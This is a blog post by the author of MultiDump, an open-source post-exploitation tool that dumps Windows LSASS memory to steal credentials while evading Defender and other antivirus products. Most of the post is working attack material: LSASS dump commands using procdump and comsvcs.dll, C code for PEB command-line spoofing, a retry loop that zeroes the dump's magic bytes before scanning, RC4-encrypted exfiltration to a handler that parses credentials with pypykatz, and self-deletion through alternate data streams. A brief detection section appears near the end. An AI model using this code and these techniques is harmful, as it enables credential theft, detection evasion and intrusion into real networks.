multidump-defender.gif

MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.

GitHub repository: https://github.com/Xre0uS/MultiDump

What is LSASS?

Local Security Authority Subsystem Service (LSASS) is an important component in the Windows operating system, with the primary function to enforce the security policy on the system. LSASS manages user authentication processes. When a user logs into a Windows machine, LSASS is responsible for handling the password verification. To facilitate this, it stores hashed versions of user passwords, providing a layer of security against password theft. It also handles domain authentication, maintain security tokens and manage domain credentials. Another key aspect of LSASS is its management of Kerberos tickets. Kerberos, an authentication protocol, is employed by Windows for network authentication in Active Directory. LSASS stores and manages these Kerberos tickets, which are used to establish secure communication and authentication across a network.

Due to its central role in security-related functions, LSASS becomes a prime target for attackers. Gaining access to LSASS potentially allows an attacker to retrieve sensitive information like hashed passwords, domain credentials, and Kerberos tickets. This information can be exploited to escalate privileges, move laterally within a network, or maintain persistence in a compromised system.

Dumping LSASS memory is a widely known and used technique, with the MITRE ATT&CK ID of T1003.001, one of the most well-known example being Mimikatz and its sekurlsa::logonPasswords method, which effectively extracts credentials from LSASS. However, its widespread recognition has led to it becoming easily detectable by most antivirus (AV) solutions. And the techniques are now well-documented and routinely flagged by modern security systems. So why not use legitimate binaries from Microsoft to dump LSASS’ memory? This approach is also known as Living off the Land, enter ProcDump.exe and Comsvc.dll.

ProcDump.exe & Comsvc.dll

ProcDump.exe, a part of the Sysinternals Suite, is a command-line utility designed for monitoring an application and generating crash dumps. However, its functionality can be repurposed to create a dump of the LSASS process without triggering the usual security alerts.

Similarly, Comsvc.dll, primarily used for system configuration and management tasks, has a minidump export, which can be executed using rundll32.exe. Originally designed for legitimate debugging and system analysis purposes, can be repurposed to dump the memory of a process – in this case, LSASS.

Now, these techniques are also nothing new, the classic

procdump.exe -accepteula -ma (Get-Process lsass).id lsass.dmp

or

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id lsass.dmp full

will easily get caught by AVs.

comsvcs-cmdline-dump.png procdump-cmdline-dump.png

However, since they’re legitimate binaries, with comsvcs.dll being present in Windows by default, their presence would not usually raise alarms. It’s the combination of using those binaries on LSASS in a command that that gets detected. So how can we get past it?

Process Argument Spoofing

The The Process Environment Block (PEB) structure holds information about a process, and inside the PEB structure, the PRTL_USER_PROCESS_PARAMETERS structure

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

contains the CommandLine member which holds the command line arguments. CommandLine is defined as a UNICODE_STRING:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

So, to modify a process’ command line arguments in memory, we will need to start the process in a suspended state, and modify the Buffer element, using

PEB->ProcessParameters.CommandLine.Buffer

as a wide-character string.

Constructing the Real Command

Before the process can be created, we must first get the command to dump LSASS. MultiDump has two techniques to dump LSASS, using ProcDump.exe or Comsvc.dll, as introduced earlier, and the commands used will be similar. For the static part of the command, it is encrypted using RC4, and decrypted using the undocumented Windows NTAPI SystemFunction032 function. The location of files written to disk can be user defined, or by default, in the temp directory with a randomly generated name.

We will also need the PID of LSASS for the command, this is done using NtQuerySystemInformation, it returns ImageName which contains the process name and UniqueProcessId which is the process ID. To use the function, we’ll need to get its address, since it is exported from the ntdll.dll module, it will require the use of GetModuleHandle and GetProcAddress. We then need to iterate through the returned processes, and compare the ImageName to the target process, in this case, lsass.exe:

BOOL GetRemoteProcessInfo(LPCWSTR szProcName, DWORD* pdwPid, HANDLE* phProcess) {
fnNtQuerySystemInformation             pNtQuerySystemInformation = NULL;
ULONG                                  uReturnLen1                  = NULL,
                                    uReturnLen2                  = NULL;
PSYSTEM_PROCESS_INFORMATION            SystemProcInfo               = NULL,
                                      pOriginalSystemProcInfo      = NULL;
PSYSTEM_THREAD_INFORMATION             SystemThreadInfo             = NULL;
PVOID                                  pValueToFree                 = NULL;
NTSTATUS                               STATUS                       = NULL;
*threadCount = 0;

	pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
	if (pNtQuerySystemInformation == NULL) {
		return FALSE;
	}

	pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1);

	SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
	if (SystemProcInfo == NULL) {
		return FALSE;
	}
	
	pValueToFree = SystemProcInfo;
	STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2);
	if (STATUS != 0x0) {
		HeapFree(GetProcessHeap(), 0, pValueToFree);
		return FALSE;
	}
	while (TRUE) {
		// Comparing the enumerated process name to the intended target process
		if (SystemProcInfo->ImageName.Length && wcscmp(SystemProcInfo->ImageName.Buffer, szProcName) == 0) {
			*pdwPid = (DWORD)SystemProcInfo->UniqueProcessId;
			if (phProcess != NULL) { // Only open a handle if phProcess is not NULL
				*phProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)SystemProcInfo->UniqueProcessId);
			}
			break;
		}
		
		if (!SystemProcInfo->NextEntryOffset) {
			break;
		}
		SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
	}
	HeapFree(GetProcessHeap(), 0, pValueToFree);
	
	if (*pdwPid == NULL)
		return FALSE;
	else
		return TRUE;
}

We need to be careful not to open a handle to the process, since opening a handle to LSASS is highly suspicious (also done by Mimikatz), and an easy way to get caught.

Now, we have all the information we need to construct the command to dump LSASS.

Modifying CommandLine.Buffer

To start, we need to create a suspended process, and passing a dummy arguments to the process, this dummy arguments can be anything, such as a legitimate looking command to throw off analysers. The process is created using CreateProcessW with the CREATE_SUSPENDED flag:

CreateProcessW(
	NULL,
	szProcess,
	NULL,
	NULL,
	FALSE,
	CREATE_SUSPENDED | CREATE_NO_WINDOW,
	NULL,
	currentDir,
	&Si,
	&Pi
)

After the process is created, we will need to get the PEB address, this can be done using NtQueryInformationProcess as mentioned earlier, with the PROCESS_BASIC_INFORMATION, which will return a PROCESS_BASIC_INFORMATION structure, containing the PebBaseAddress member:

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PPEB PebBaseAddress;
    ULONG_PTR AffinityMask;
    KPRIORITY BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

With the address, we can use the ReadProcessMemory function to read the data, the function will need to be called twice, first to read the PEB structure, and the second to read the RTL_USER_PROCESS_PARAMETERS structure, which contains the CommandLine member.

BOOL ReadFromTargetProcess(IN HANDLE hProcess, IN PVOID pAddress, OUT PVOID* ppReadBuffer, IN DWORD dwBufferSize) {
	SIZE_T	sNmbrOfBytesRead = NULL;
	*ppReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBufferSize);

	if (!ReadProcessMemory(hProcess, pAddress, *ppReadBuffer, dwBufferSize, &sNmbrOfBytesRead) || sNmbrOfBytesRead != dwBufferSize) {
		return FALSE;
	}
	return TRUE;
}

ReadFromTargetProcess(Pi.hProcess, PBI.PebBaseAddress, &pPeb, sizeof(PEB))
ReadFromTargetProcess(Pi.hProcess, pPeb->ProcessParameters, &pParms, sizeof(RTL_USER_PROCESS_PARAMETERS) + 0x200)

At this point, the process is still carrying the dummy arguments:

comsvcs-peb-dummy-args.png procdump-peb-dummy-args.png

Note that the path to the executable have to be the same, since it is used by the Windows loader to create the process, and modifying it will affect the memory layout, module loading, and entry point.

Now that we have read the structure, we can access and patch CommandLine.Buffer by using the WriteProcessMemory function which require these parameters:

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

lpBaseAddress will be set to what is being written: CommandLine.Buffer, and lpBuffer will be a pointer to the real arguments we want to write. The nSize parameter is the size of the buffer to write in bytes, equal to the length of the string that’s being written multiplied by the size of WCHAR plus 1 for the null character:

WriteToTargetProcess(Pi.hProcess, (PVOID)pParms->CommandLine.Buffer, (PVOID)szRealArgs, (DWORD)(lstrlenW(szRealArgs) * sizeof(WCHAR) + 1))

BOOL WriteToTargetProcess(IN HANDLE hProcess, IN PVOID pAddressToWriteTo, IN PVOID pBuffer, IN DWORD dwBufferSize) {
	SIZE_T sNmbrOfBytesWritten = NULL;

	if (!WriteProcessMemory(hProcess, pAddressToWriteTo, pBuffer, dwBufferSize, &sNmbrOfBytesWritten) || sNmbrOfBytesWritten != dwBufferSize) {
		return FALSE;
	}
	return TRUE;
}

We can see process argument has been updated to the command that will dump LSASS:

comsvcs-peb-real-args.png procdump-peb-real-args.png

However, using Process Explorer, we can still see the real commands:

comsvcs-pex-real-args.png procdump-pex-real-args.png

This is because it also uses NtQueryInformationProcess to read the command line arguments in the PEB at runtime, and it can see what’s inside CommandLine.Buffer by reading up until the length specified by CommandLine.Length. So, to solve this issue, we can update the CommandLine.Length to the length of the executable path, effectively hiding the remaining commands:

WriteToTargetProcess(Pi.hProcess, ((PBYTE)pPeb->ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length)), (PVOID)&dwNewLen, sizeof(DWORD))

We can see that the LSASS dump command is well hidden in both Process Explorer and Process Hacker:

comsvcs-pex-args-hidden.png procdump-pex-args-hidden.png

Now, we can simply resume the process, collect the dump and call it a day.

The Magic Bytes

defender-lsass-dump.png

Not quite. While the command executed without problem and created a dump file, the output file still gets detected by defender. To prevent the dump file from being detected by AVs, simply zero out the first 6 bytes, 4D 44 4D 50 93 A7, of the file. This action removes the magic bytes, which are typically used by AVs for signature-based detection. By changing these bytes to 00 00 00 00 00 00, the file’s signature is obscured, making it less likely to trigger antivirus alerts. It is a straightforward workaround to bypass detection mechanisms, focusing on changing identifiable file patterns without affecting the entire file.

lsass-dump-magic-bytes.png lsass-dump-magic-bytes-rm.png

To evade antivirus detection, modifying the dump file’s magic bytes to zeros immediately after creation is important. This makes the file type difficult to recognise right away, which significantly reduces detection risks.

The operation’s success depends on its speed: modifying the first 6 bytes must be done quickly, before the AV scans the file. Since the modification is both simple and targeted, it can be executed almost instantaneously. We also have the advantage of knowing exactly when and where the file would be created, which helps to beat AVs to the punch. This method ensures the program stays ahead of antivirus scanning, utilising a quick, preemptive modification to avoid detection.

BOOL ZeroOutBytes(const char* filePath, size_t numberOfBytes) {
    HANDLE hFile = CreateFileA(
        filePath,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    char* zeroBuffer = (char*)malloc(numberOfBytes);
    if (zeroBuffer == NULL) {
        CloseHandle(hFile);
        return FALSE;
    }
    ZeroMemory(zeroBuffer, numberOfBytes);

    DWORD bytesWritten;
    if (!WriteFile(hFile, zeroBuffer, (DWORD)numberOfBytes, &bytesWritten, NULL)) {
        CloseHandle(hFile);
        return FALSE;
    }
    CloseHandle(hFile);
    return TRUE;
}

for (retryCount = 0; retryCount < 100000; retryCount++) {
	if (ZeroOutBytes(args.tempDmpPath, 6)) {
		break;
	}
}

Other methods like ReadDirectoryChanges were tested but were found to be too slow. And even adding a Sleep(1) will increase detection rates and cause failures, making simplicity the best approach. Some statistics against different system types:

  • 1000-2000 attempts for dump files of ~50MB on SSD
  • 5000-10000 attempts for dump files of ~150MB on SSD
  • 20000-50000 attempts for dump files of ~200MB on HDD

Given these statistics, a limit of 100000 tries is set to prevent the loop from consuming excessive CPU resources indefinitely. If the target file is still not found after reaching this threshold, it’s likely either flagged by security measures or wasn’t generated at all. The loop is designed to terminate after roughly one second to maintain system performance.

If the dump is successful and the magic bytes are zeroed, the file is loaded into memory, a unique 64-byte key is generated for encrypting the data. The encryption employs the RC4 algorithm via the SystemFunction032 function mentioned earlier. After encryption, the original dump file is deleted to cover the our tracks.

If MultiDump is running in local mode, the encrypted dump file is written to the disk and the key is printed on screen.

The Handler & Remote Mode

MultiDump also supports exfiltrating the data over the network, with a handler to receive and decrypt the data. Similarly, the handler can also be used to decrypt the local dump file.

Two separate TCP streams are initiated, first to deliver the key, second to deliver the dump data.

To protect the key in transport over the network, it is also encrypted, this time with the integer representation of the handler’s IP and port:

BOOL ParseIPAndPort(const char* address, char* ip, int* port, unsigned __int64* combinedKey) {
    char* tempAddress = _strdup(address);
    if (!tempAddress) {
        return FALSE;
    }

    char* colon = strchr(tempAddress, ':');
    if (colon) {
        *colon = '\0';
        strncpy(ip, tempAddress, 15);
        ip[15] = '\0';

        *port = atoi(colon + 1);

        struct in_addr addr;
        if (InetPtonA(AF_INET, ip, &addr) == 1) {
            unsigned long ipNumeric = ntohl(addr.S_un.S_addr);
            *combinedKey = ((unsigned __int64)ipNumeric << 16) | (*port);
        }
        else {
            free(tempAddress);
            return FALSE;
        }
    }
    else {
        free(tempAddress);
        return FALSE;
    }
    free(tempAddress);
    return TRUE;
}

The handler receives the key, and decrypt it using the detected IP, or it can be manually configured if the connection is over a proxy. The first connection has a limit of 1 KB to prevent unwanted connections, and the handler checks if the key is exactly 64 bytes.

def generate_key(ip, port):
    ip_numeric = struct.unpack("!L", socket.inet_aton(ip))[0]
    key = (ip_numeric << 16) | int(port)
    key_bytes = key.to_bytes(8, "little")
    return key_bytes
 enc_dump_key, local_ip, key_bytes_received = start_server(
            args.remote, "encrypted key", 1
        )

        if len(enc_dump_key) != 64:
            print(f"[!] Key size mismatch!")
            return

If the key passes the check, the second connection is accepted with a limit of 500MB. The handler decrypts the data with the previously decrypted key. Due to RC4’s straightforward implementation in Python, this decryption process may take additional time. Following decryption, the handler verifies that the magic bytes are all zeros to confirm successful decryption, then restores the original magic bytes. Finally, the data is passed to Pypykatz to be parsed. This process is similar for a local file.

def mod_magic_bytes(data):
    if data[:6] == b"\x00\x00\x00\x00\x00\x00":
        replacement_bytes = bytes.fromhex("4D 44 4D 50 93 A7")
        modified_data = replacement_bytes + data[6:]
        return modified_data
    else:
        raise Exception()
        
pypy_parse = pypykatz.parse_minidump_bytes(dump)

If all goes well, the LSASS data will appear on the screen, with the option to save it.

Other Evasion Techniques

MultiDump employs a number of other techniques for better evasion.

As mentioned previously, to evade string analysis, the static strings to dump LSASS are encrypted using RC4 is only decrypted when needed.

Most of the output messages can be excluded from being compiled by commenting the following line in Debug.h:

//#define DEBUG

It can also be configured for self-deletion by uncommenting the following line in Common.h:

#define SELF_DELETION

To do this, MultiDump takes advantage of NTFS alternate data streams, it first get a handle on the file itself, rename the default :$DATA stream using the SetFileInformationByHandle function. The function requires the following parameters:

BOOL SetFileInformationByHandle(
  [in] HANDLE                    hFile,
  [in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass,
  [in] LPVOID                    lpFileInformation,
  [in] DWORD                     dwBufferSize
);

We will need to set the FileInformationClass value toFileRenameInfo and the lpFileInformation should be a pointer to the following FILE_RENAME_INFO structure:

typedef struct _FILE_RENAME_INFO {
  union {
    BOOLEAN ReplaceIfExists;
    DWORD   Flags;
  } DUMMYUNIONNAME;
  BOOLEAN ReplaceIfExists;
  HANDLE  RootDirectory;
  DWORD   FileNameLength;
  WCHAR   FileName[1];
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;

According to Microsoft, the FileName member is:

A NUL-terminated wide-character string containing the new path to the file. The value can be one of the following:

  • An absolute path (drive, directory, and filename).
  • A path relative to the process’s current directory.
  • The new name of an NTFS file stream, starting with :.

MultiDump sets the alternate stream to :ALT by default, as defined in Common.h.

Finally, after the data stream has been renamed, the original :$DATA stream can be deleted. The SetFileInformationByHandle is used again, this time, setting the FileInformationClass value to FileDispositionInfo, the lpFileInformation should be a pointer to the following FILE_DISPOSITION_INFO structure:

typedef struct _FILE_DISPOSITION_INFO {
  BOOLEAN DeleteFile;
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

By setting DeleteFile to TRUE, the file can be deleted.

Defending and Detecting

As the command line is modified by directly changing the PEB structure in memory, it can be quite difficult to detect it on startup. However, the biggest weakness of this technique is that a .dmp file will be written to disk, even though it is quickly read and deleted, it is possible to pause the execution to analyse the output.

While ProcDump.exe and rundll32.exe are legitimate binaries, an unknown program creating a child process to execute them is highly suspicious, and it should be placed under extra monitoring.

Additionally, outbound connections from such a program could further raise suspicions.

Together, these indicators - temporary file creation, unusual binary usage, and network traffic, should be cause for concern and suggest the need for increased monitoring.

Updates

I have added an option for MultiDump to dump SAM, SECURITY and SYSTEM hives, since Defender does not care if the hives were dumped, so this is more of a convenience feature to make post exploit information gathering easier.

For a follow up investigation that led to a fix against Windows Defender, check out this blog post.

As of 26th February, MultiDump compiled with the default options is detected by Defender (finally), expected since it’s released as an open source project, still took a while though. It even got its own name, I take this as a win.

My own version of MultiDump is not detected and works fine, so I have reasons to believe that it’s a basic signature detection and techniques used still works.

multidump-detected.png

Testing Against Other AVs

multidump-eset.gif multidump-malwarebytes.gif multidump-mcafee.gif

Credits: